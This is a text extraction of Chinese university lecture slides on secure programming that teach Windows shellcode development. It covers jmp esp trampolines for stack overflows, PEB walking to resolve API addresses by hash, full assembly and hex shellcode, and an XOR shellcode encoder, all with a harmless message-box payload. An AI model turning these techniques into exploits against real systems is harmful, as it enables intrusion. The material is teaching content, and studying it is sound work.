05_CC++漏洞_Shellcode.ppt_第1頁(yè)
05_CC++漏洞_Shellcode.ppt_第2頁(yè)
05_CC++漏洞_Shellcode.ppt_第3頁(yè)
05_CC++漏洞_Shellcode.ppt_第4頁(yè)
05_CC++漏洞_Shellcode.ppt_第5頁(yè)
已閱讀5頁(yè),還剩71頁(yè)未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

1、安全性編程方法,天津農(nóng)學(xué)院 計(jì)算機(jī)系 許曉華,2020/8/3,第5講 Shellcode,2020/8/3,5.1 Shellcode 概述,5.1.1 shellcode 與 exploit shellcode : 緩沖區(qū)溢出攻擊中植入進(jìn)程的代碼. exploit : 代碼植入的過(guò)程,也叫漏洞利用. exploit 的作用: 淹沒(méi)返回地址,劫持進(jìn)程的控制權(quán),之后跳轉(zhuǎn)去執(zhí)行shellcode. Shellcode具有一定的通用性. Exploit 往往針對(duì)特定漏洞.,2020/8/3,利用VC+6.0制造ShellCode,三個(gè)步驟: 第一,首先利用VC+6.0寫(xiě)出實(shí)現(xiàn)自己想要的功能的代碼

2、第二,利用VC+6.0的調(diào)試功能下斷點(diǎn)并反匯編,得到上述代碼的匯編指令。 第三,將匯編指令重新編譯,再次利用VC+的調(diào)試功能,查看內(nèi)存數(shù)據(jù),獲取最終的十六進(jìn)制Shellcode代碼。,2020/8/3,第一步,運(yùn)行VC+6.0,選擇“文件”中的”新建”,建立一個(gè)”C+ Source File”,并將文件名設(shè)定為”shellcode”。 輸入如下代碼后,編譯運(yùn)行,結(jié)果如圖所示。,#include void main() MessageBoxA(NULL,NULL,NULL,0); ,2020/8/3,第二步,在代碼MessageBoxA的位置按F9鍵下一個(gè)斷點(diǎn)。 按F5鍵進(jìn)行調(diào)試,程序會(huì)在斷點(diǎn)處

3、中斷 按Alt+8進(jìn)行反匯編,可看到MessageBoxA函數(shù)調(diào)用所對(duì)應(yīng)的5行匯編指令。 按住Alt鍵選中這5行匯編指令,按Ctrl+C進(jìn)行復(fù)制。,2020/8/3,Shift+F5結(jié)束調(diào)試 重新建立一個(gè)”C+ Source File”文件,取名為”assemcode”,輸入如下代碼,#include void main() _asm/這是VC+調(diào)用匯編指令的標(biāo)識(shí)符 push 0 push 0 push 0 push 0 call dword ptr _imp_MessageBoxA16 (0042a2ac) ,2020/8/3,按F7鍵進(jìn)行編譯,提示出錯(cuò),如圖所示,錯(cuò)誤原因在于最后一行匯編指

4、令 call dword ptr _imp_MessageBoxA16 (0042a2ac) 這是個(gè)間接內(nèi)存調(diào)用指令,即這條指令實(shí)際調(diào)用的指令地址應(yīng)該是保存在0042a2ac地址中。所以應(yīng)該將真正的地址取出來(lái),再寫(xiě)入?yún)R編指令中(這個(gè)地址就是MessageBoxA函數(shù)在操作系統(tǒng)中的地址),2020/8/3,重新打開(kāi)Shellcode工程,還是在MessageBoxA一行下一個(gè)斷點(diǎn),然后按F5進(jìn)行調(diào)試。 調(diào)試狀態(tài)下會(huì)有個(gè)”Memory”窗口,意思是查看內(nèi)存中數(shù)據(jù)的窗口,若沒(méi)有這個(gè)窗口按Alt+6即可打開(kāi) 在”Memory”地址一欄輸入” 0042a2ac”,回車。 可看到” 0042a2ac”中保

5、存的真實(shí)地址為“75D9EA11”,2020/8/3,修改”assemcode”的代碼如下,運(yùn)行,發(fā)現(xiàn)他同樣彈出了錯(cuò)誤對(duì)話框。,#include void main() LoadLibrary(user32.dll);/MessageBoxA函數(shù)在這個(gè)庫(kù)文件中 _asm/這是VC+調(diào)用匯編指令的標(biāo)識(shí)符 push 0 push 0 push 0 push 0 mov eax,0 x75D9EA11/將MessageBoxA函數(shù)的地址保存在eax寄存器 call eax/調(diào)用MessageBoxA函數(shù) ,2020/8/3,第三步,下面需要將匯編指令轉(zhuǎn)換為對(duì)應(yīng)的十六進(jìn)制機(jī)器碼。 在call eax行

6、下斷點(diǎn) 然后F5、Alt+8 可以看到匯編指令的地址從0040103C到0040104A,2020/8/3,在”Memory”窗口輸入0040103C,記錄從0040103C到0040104A對(duì)應(yīng)的十六進(jìn)制機(jī)器碼 6A 00 6A 00 6A 00 6A 00 B8 11 EA D9 75 FF D0,2020/8/3,調(diào)用十六進(jìn)制機(jī)器碼,#include void main() LoadLibrary(user32.dll); char myshellcode=x6Ax00 x6Ax00 x6Ax00 x6Ax00 xB8x11xEAxD9x75xFFxD0; void *p= _asm c

7、all p ,2020/8/3,5.2 定位Shellcode,4.4的代碼植入實(shí)驗(yàn),使用越界的字符完全控制返回地址后,需要將返回地址改寫(xiě)成shellcode在內(nèi)存中的起始地址。 在實(shí)際的漏洞利用過(guò)程中,由于動(dòng)態(tài)鏈接庫(kù)的裝入和卸載等原因,windows進(jìn)程的函數(shù)棧幀很有可能會(huì)產(chǎn)生“移位”,即shellcode在內(nèi)存中的地址是會(huì)動(dòng)態(tài)變化的,因此像4.4那樣將返回地址簡(jiǎn)單地覆蓋成一個(gè)定值的作法往往不能讓exploit奏效。,2020/8/3,2020/8/3,因此必須想辦法在程序運(yùn)行時(shí)動(dòng)態(tài)定位棧中的shellcode。 回顧4.4實(shí)驗(yàn)在verify_password函數(shù)返回后棧中的情況:,2020

8、/8/3,棧幀布局圖,形參:password,返回地址,前棧幀EBP,authenticated (0 x00000001),buffer47 (ASCII: q q q null),buffer03 (ASCII: q q q q),2020/8/3,2020/8/3,綠色的線條體現(xiàn)了代碼植入的流程:將返回地址淹沒(méi)為手工查出的shellcode起始地址 0 x0012FAF0 ,函數(shù)返回時(shí)這個(gè)地址被彈入EIP寄存器,處理器按照EIP寄存器中的地址取指令,最后棧中的數(shù)據(jù)被處理器當(dāng)成指令得以執(zhí)行。 紅色的線條則點(diǎn)出了這樣一個(gè)細(xì)節(jié):在函數(shù)返回的時(shí)候,ESP恰好指向棧幀中返回地址的后一個(gè)位置! 一般

9、情況下,ESP寄存器中的地址總是指向系統(tǒng)棧中且不會(huì)被溢出的數(shù)據(jù)破壞。函數(shù)返回時(shí),ESP所指的位置恰好是我們所淹沒(méi)的返回地址的下一個(gè)位置。,2020/8/3,2020/8/3,由于ESP寄存器在函數(shù)返回后不被溢出數(shù)據(jù)干擾,且始終指向返回地址之后的位置,可以使用上圖所示的這種定位shellcode的方法來(lái)進(jìn)行動(dòng)態(tài)定位: 用內(nèi)存中任意一個(gè)jmpesp指令的地址覆蓋函數(shù)返回地址,而不是原來(lái)用手工查出的shellcode起始地址直接覆蓋 函數(shù)返回后被重定向去執(zhí)行內(nèi)存中的這條jmpesp指令,而不是直接開(kāi)始執(zhí)行shellcode 由于esp在函數(shù)返回時(shí)仍指向棧區(qū)(函數(shù)返回地址之后),jmpesp指令被執(zhí)行

10、后,處理器會(huì)到棧區(qū)函數(shù)返回地址之后的地方取指令執(zhí)行。 重新布置shellcode。在淹沒(méi)函數(shù)返回地址后,繼續(xù)淹沒(méi)一片棧空間。將緩沖區(qū)前邊一段地方用任意數(shù)據(jù)填充,把shellcode恰好擺放在函數(shù)返回地址之后。這樣jmpesp指令執(zhí)行過(guò)后會(huì)恰好跳進(jìn)shellcode。 這種定位shellcode的方法使用進(jìn)程空間里一條jmpesp指令做“跳板”,不論棧幀怎么“移位”,都能夠精確的跳回棧區(qū),從而適應(yīng)程序運(yùn)行中shellcode內(nèi)存地址的動(dòng)態(tài)變化。,2020/8/3,把4.4中的password . txt文件改造成上述思路的exploit,并加入安全退出的代碼避免點(diǎn)擊消息框后程序的崩潰。 必須首先

11、獲得進(jìn)程空間內(nèi)一條jmpesp指令的地址作為“跳板”。 4.4中有漏洞的密碼驗(yàn)證程序已經(jīng)加載了user32 . dll,所以使用user32 . dll中的jmpesp指令做為跳板。,2020/8/3,有兩種方法獲得跳轉(zhuǎn)指令。 編程 通過(guò)OllyDbg的插件,2020/8/3,/ jmp?esp對(duì)應(yīng)的機(jī)器碼是 0 xFFE4 /從user32.dll在內(nèi)存中的基地址開(kāi)始向后搜索 0 xFFE4,并返回其內(nèi)存地址(指針值) /#include stdafx.h #include stdlib.h #include #include void main () BYTE *ptr;/typedef

12、unsigned char BYTE; int position, address ; BOOL done_flag = FALSE ; HINSTANCE handle = LoadLibrary (user32.dll); if (! handle ) printf( load dll error! ); exit(0); ptr = (BYTE *) handle ; for ( position = 0 ; !done_flag ; position +) try if ( ptr position = 0 xFF ,2020/8/3,除此以外,還可以通過(guò)OllyDbg的插件輕易的獲得

13、整個(gè)進(jìn)程空間中的各類跳轉(zhuǎn)地址。 下載插件OllyUni.dll,把它放在OllyDbg目錄下的Plugins文件夾內(nèi),重新啟動(dòng)OllyDbg進(jìn)行調(diào)試,將user32.dll拖動(dòng)到ollydbg里,在代碼框內(nèi)單擊右鍵,就可以使用這個(gè)插件了,如圖:,2020/8/3,2020/8/3,在制作exploit的時(shí)候,還應(yīng)當(dāng)修復(fù)4.4中的shellcode無(wú)法正常退出的缺陷。 方法:在調(diào)用MessageBox之后,調(diào)用exit函數(shù)讓程序退出。,2020/8/3,仍然用dependencywalker獲得這個(gè)函數(shù)的入口地址。 如圖,ExitProcess是kernel32 . dll的導(dǎo)出函數(shù) 首先查出k

14、ernel32 . dll的加載基址: 0 x7C800000 然后加上函數(shù)的偏移地址: 0 x0001CDDA 得到函數(shù)入口最終的內(nèi)存地址 0 x7C81CDDA 。,2020/8/3,2020/8/3,寫(xiě)出的shellcode的源代碼如下:,#include stdafx.h #include void main () HINSTANCE LibHandle ; char dllbuf 11 = user32.dll ; LibHandle = LoadLibrary(dllbuf); _asm sub sp , 0 x440 xor ebx , ebx push ebx / cut st

15、ring push 0 x756F5965 push 0 x766F4C49 /push ILOVEU mov eax , esp /load address of failwest push ebx push eax push eax push ebx mov eax , 0 x77D507EA / address should be reset in different OS call eax /call MessageboxA push ebx mov eax , 0 x7C81CAFA call eax /call exit(0) ,2020/8/3,為了提取出匯編代碼對(duì)應(yīng)的機(jī)器碼,我

16、們將上述代碼用VC6 .0 編譯運(yùn)行通過(guò)后,再用OllyDbg加載可執(zhí)行文件,選中所需的代碼后可直接將其dump到文件中:,2020/8/3,2020/8/3,2020/8/3,現(xiàn)在已經(jīng)具備了制作新exploit需要的所有信息: 搜索到的jmpesp地址,即用作重定位shellcode的“跳板”:0 x77DC14CC 修改后并重新提取得到的shellcode:,2020/8/3,2020/8/3,運(yùn)行結(jié)果(彈出對(duì)話框且不報(bào)錯(cuò)),2020/8/3,5.3 緩沖區(qū)的組織,5.3.1 緩沖區(qū)的組成 進(jìn)入緩沖區(qū)的數(shù)據(jù): 填充物: 一般為0 x90 (NOP) 淹沒(méi)返回地址的數(shù)據(jù): 跳轉(zhuǎn)指令的地址 S

17、hellcode起始地址 近似的shellcode地址 shellcode:,2020/8/3,不同緩沖區(qū)的組織方式,2020/8/3,shellcode布置在返回地址之后的壞處,返回地址之后是前棧楨數(shù)據(jù),而實(shí)用的shellcode往往需要幾百個(gè)字節(jié),這樣大規(guī)模地破壞前棧楨數(shù)據(jù)有可能引發(fā)一些問(wèn)題,2020/8/3,shellcode布置在緩沖區(qū)內(nèi)的好處,合理利用緩沖區(qū),使攻擊串的總長(zhǎng)度減小 對(duì)程序破壞小,比較穩(wěn)定.,2020/8/3,5.3.2 抬高棧頂保護(hù)shellcode,shellcode布置在緩沖區(qū)內(nèi)的壞處:,2020/8/3,為了使shellcode具有較強(qiáng)的通用性,通常會(huì)在shel

18、lcode一開(kāi)始就大范圍抬高棧頂,把shellcode”藏”在棧內(nèi),從而達(dá)到自身保護(hù)的目的.,2020/8/3,2020/8/3,5.3.3 使用其他跳轉(zhuǎn)指令,2020/8/3,5.3.4 不使用跳轉(zhuǎn)指令,2020/8/3,5.3.5 函數(shù)返回地址移位,2020/8/3,Strcat產(chǎn)生的漏洞,2020/8/3,成功率只有1/4,2020/8/3,5.4 開(kāi)發(fā)通用的shellcode,5.4.1 定位API的原理 Windows API是通過(guò)動(dòng)態(tài)鏈接庫(kù)中的導(dǎo)出函數(shù)來(lái)實(shí)現(xiàn)的 內(nèi)存操作等函數(shù)kernel32.dll 圖形界面相關(guān)的API-user32.dll Win32平臺(tái)下的shellcode使

19、用最廣泛的方法-從進(jìn)程控制塊中找到動(dòng)態(tài)鏈接庫(kù)的導(dǎo)出表,并搜索出所需的API地址,然后逐一調(diào)用. 所有的Win32程序都會(huì)加載ntdll.dll和kernel32.dll這兩個(gè)最基礎(chǔ)的動(dòng)態(tài)鏈接庫(kù).,2020/8/3,定位kernel32.dll 中API地址的方法,通過(guò)段選擇字FS在內(nèi)存中找到當(dāng)前的線程控制塊TEB TEB偏移位置為0 x30處存放著指向進(jìn)程控制塊PEB的指針. PEB偏移位置為0 x0C的地方存放著指向PEB_LDR_DATA結(jié)構(gòu)體的指針,其中,存放著已經(jīng)被進(jìn)程裝載的動(dòng)態(tài)鏈接庫(kù)的信息. PEB_LDR_DATA偏移位置為0 x1C的地方存放著指向模塊初始化鏈表的頭指針I(yè)nIni

20、tializationOrderModuleList. InInitializationOrderModuleList中按順序存放著PE裝入運(yùn)行時(shí)初始化模塊的信息,第一個(gè)鏈表結(jié)點(diǎn)是ntdll.dll,第二個(gè)鏈表結(jié)點(diǎn)是kernel32.dll 找到kernel32.dll結(jié)點(diǎn)后,再偏移0 x08就是kernel32.dll在內(nèi)存中的加載基址. 再偏移0 x3C,就是其PE頭. 再偏移0 x78就存放著函數(shù)導(dǎo)出表的指針.,2020/8/3,在函數(shù)導(dǎo)出表中算出函數(shù)的入口地址,導(dǎo)出表偏移0 x1C處的指針指向存儲(chǔ)導(dǎo)出函數(shù)偏移地址(RVA)的列表。 導(dǎo)出表偏移0 x20處的指針指向存儲(chǔ)導(dǎo)出函數(shù)名的列表.

21、 RAV和函數(shù)名按順序存放. RAV加上動(dòng)態(tài)鏈接庫(kù)的加載基址,就得到API此刻在內(nèi)存中的虛擬地址.,2020/8/3,2020/8/3,5.4.2 shellcode的加載與調(diào)試,shellcode的最常見(jiàn)形式就是用轉(zhuǎn)義字符把機(jī)器碼存在一個(gè)字符數(shù)組中. 例如,彈出消息框并能正常退出的程序的Shellcode可以存成這樣的形式.,2020/8/3,2020/8/3,如下程序,改寫(xiě)教材P88(本章ppt22)的彈出消息框并正常退出的程序.,2020/8/3,#include stdafx.h #include char shellcode= x66x81xECx40 x04x33xDBx53x68

22、x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50 x50 x53xB8xEAx07xD5x77xFFxD0 x53xB8xFAxCAx81x7CxFFxD0; void main () _asm lea eax, shellcode push eax ret ,2020/8/3,5.4.3 動(dòng)態(tài)定位API地址的shellcode,需要如下API函數(shù): MessageBoxA (位于user32.dll中,用于彈出消息框) ExitProcess (位于kernel32.dll中,用于正常退出程序) LoadLibraryA (位于kernel32.dll中,在調(diào)用

23、MessageBoxA之前,先用LoadLibrary(“user32.dll”)裝載其所屬的動(dòng)態(tài)鏈接庫(kù).),2020/8/3,為了讓shellcode盡可能短,需要對(duì)API函數(shù)名進(jìn)行hash運(yùn)算,得到digest(摘要) 雖然這需要引入額外的hash算法,但可以節(jié)省代碼.,2020/8/3,#include stdafx.h #include #include DWORD GetHash(char *fun_name) DWORD digest=0; while(*fun_name) digest=(digest7);/循環(huán)右移7位 digest+= *fun_name ; fun_name

24、+; return digest; main() DWORD hash; hash= GetHash(MessageBoxA); printf(result of hash is %.8xn,hash); ,2020/8/3,2020/8/3,2020/8/3,最終代碼,#include stdafx.h #include #include int main() _asm nop nop nop nop nop CLD; clear flag DF ;store hash push 0 x1e380a6a;hash of MessageBoxA push 0 x4fd18963;hash of

25、 ExitProcess push 0 x0c917432;hash of LoadLibraryA mov esi,esp; esi = addr of first function hash lea edi,esi-0 xc; edi = addr to start writing function ; make some stack space xor ebx,ebx mov bh, 0 x04 sub esp, ebx ; push a pointer to user32 onto stack mov bx, 0 x3233 ; rest of ebx is null push ebx

26、 push 0 x72657375 push esp xor edx,edx ; find base addr of kernel32.dll mov ebx, fs:edx + 0 x30 ; ebx = address of PEB mov ecx, ebx + 0 x0c ; ecx = pointer to loader data mov ecx, ecx + 0 x1c ; ecx = first entry in initialisation order list mov ecx, ecx ; ecx = second entry in list (kernel32.dll) mo

27、v ebp, ecx + 0 x08 ; ebp = base address of kernel32.dll find_lib_functions: lodsd ; load next hash into al and increment esi cmp eax, 0 x1e380a6a; hash of MessageBoxA - trigger ; LoadLibrary(user32) jne find_functions xchg eax, ebp ; save current hash call edi - 0 x8 ; LoadLibraryA xchg eax, ebp ; r

28、estore current hash, and update ebp ; with base address of user32.dll find_functions: pushad ; preserve registers mov eax, ebp + 0 x3c; eax = start of PE header mov ecx, ebp + eax + 0 x78; ecx = relative offset of export table add ecx, ebp ; ecx = absolute addr of export table mov ebx, ecx + 0 x20 ;

29、 ebx = relative offset of names table add ebx, ebp ; ebx = absolute addr of names table xor edi, edi ; edi will count through the functions next_function_loop: inc edi ; increment function counter mov esi, ebx + edi * 4 ; esi = relative offset of current function name add esi, ebp ; esi = absolute a

30、ddr of current function name cdq ; dl will hold hash (we know eax is small) hash_loop: movsx eax, byte ptresi cmp al,ah jz compare_hash ror edx,7 add edx,eax inc esi jmp hash_loop compare_hash: cmp edx, esp + 0 x1c ; compare to the requested hash (saved on stack from pushad) jnz next_function_loop m

31、ov ebx, ecx + 0 x24 ; ebx = relative offset of ordinals table add ebx, ebp ; ebx = absolute addr of ordinals table mov di, ebx + 2 * edi ; di = ordinal number of matched function mov ebx, ecx + 0 x1c ; ebx = relative offset of address table add ebx, ebp ; ebx = absolute addr of address table add ebp

32、, ebx + 4 * edi ; add to ebp (base addr of module) the ; relative offset of matched function xchg eax, ebp ; move func addr into eax pop edi ; edi is last onto stack in pushad stosd ; write function addr to edi and increment edi push edi popad; restore registers ; loop until we reach end of last has

33、h cmp eax,0 x1e380a6a jne find_lib_functions function_call: xor ebx,ebx push ebx/ cut string push 0 x74736577 push 0 x6C696166/push failwest mov eax,esp/load address of failwest push ebx push eax push eax push ebx call edi - 0 x04 ; /call MessageboxA push ebx call edi - 0 x08 ; / call ExitProcess no

34、p nop nop nop ,2020/8/3,16進(jìn)制機(jī)器碼如下,char popup_general= xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53 x68x75x73x65x72x54x33xD2x64x8Bx5Ax30 x8Bx4Bx0Cx8B x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95 xFFx57xF8x95x60 x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59

35、 x20 x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A xC4x74x08xC1xCAx07x03xD0 x46xEBxF1x3Bx54x24x1Cx75 xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03 x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB x53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50 x50 x53xFFx57xFCx53xFFx57xF8;,2020/8/3,#include stdafx.

36、h #include #include char popup_general= xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53 x68x75x73x65x72x54x33xD2x64x8Bx5Ax30 x8Bx4Bx0Cx8B x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95 xFFx57xF8x95x60 x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59 x20 x03xDDx33

37、xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A xC4x74x08xC1xCAx07x03xD0 x46xEBxF1x3Bx54x24x1Cx75 xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03 x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB x53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50 x50 x53xFFx57xFCx53xFFx57xF8; void main () _asm lea eax, popup_genera

38、l push eax ret ,2020/8/3,5.5 shellcode編碼技術(shù),2020/8/3,2020/8/3,基于異或運(yùn)算的編碼器,#include stdafx.h #include #include #include #include char popup_general= xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53 x68x75x73x65x72x54x33xD2x64x8Bx5Ax30 x8Bx4Bx0Cx8B x49x1C

39、x8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95 xFFx57xF8x95x60 x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59 x20 x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A xC4x74x08xC1xCAx07x03xD0 x46xEBxF1x3Bx54x24x1Cx75 xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03 x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB x53x68x77

40、x65x73x74x68x66x61x69x6Cx8BxC4x53x50 x50 x53xFFx57xFCx53xFFx57xF8x90;/shellcode should be ended with 0 x90,2020/8/3,void encoder (char* input, unsigned char key, int display_flag)/ bool display_flag int i=0,len=0; FILE * fp; unsigned char * output; len = strlen(input); output=(unsigned char *)malloc

41、(len+1); if(!output) printf(memory erro!n); exit(0); ,2020/8/3,/encode the shellcode for(i=0;ilen;i+) outputi = inputikey; if(!(fp=fopen(encode.txt,w+) printf(output file create erro); exit(0); fprintf(fp,); for(i=0;ilen;i+) fprintf(fp,x%0.2x, outputi); if(i+1)%16=0) fprintf(fp,n); ,2020/8/3,fprintf

42、(fp,;); fclose(fp); printf(dump the encoded shellcode to encode.txt OK!n); if(display_flag)/print to screen for(i=0;ilen;i+) printf(%0.2x ,outputi); if(i+1)%16=0) printf(n); free(output); void main() encoder(popup_general,0 x44 ,1); ,2020/8/3,運(yùn)行后得到的shellcode,xb8x2cx2ex4ex7cx5ax2cx27xcdx95x0bx2cx76x30 xd5x48 xcfxb0 xc9x3axb0 x77x9fxf3x40 x6fxa7x22xffx77x76x17 x2cx31x37x21x36x10 x77x96x20 xcfx1ex74xcfx0fx48xcf x0dx58xcfx4dxcfx2dx4cxe9x79x2ex4ex7cx5ax31x41xd1 xbbx13xbcxd1x24xcfx01x78xcfx08x41x3cx47x89xcfx1d x64x47x99x77xbbx03xcfx70 xffx47xb1xddx4bxfax42x7e x80 x30 x4cx85x8ex43x47x94x02xafxb5x7

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

最新文檔

評(píng)論

0/150

提交評(píng)論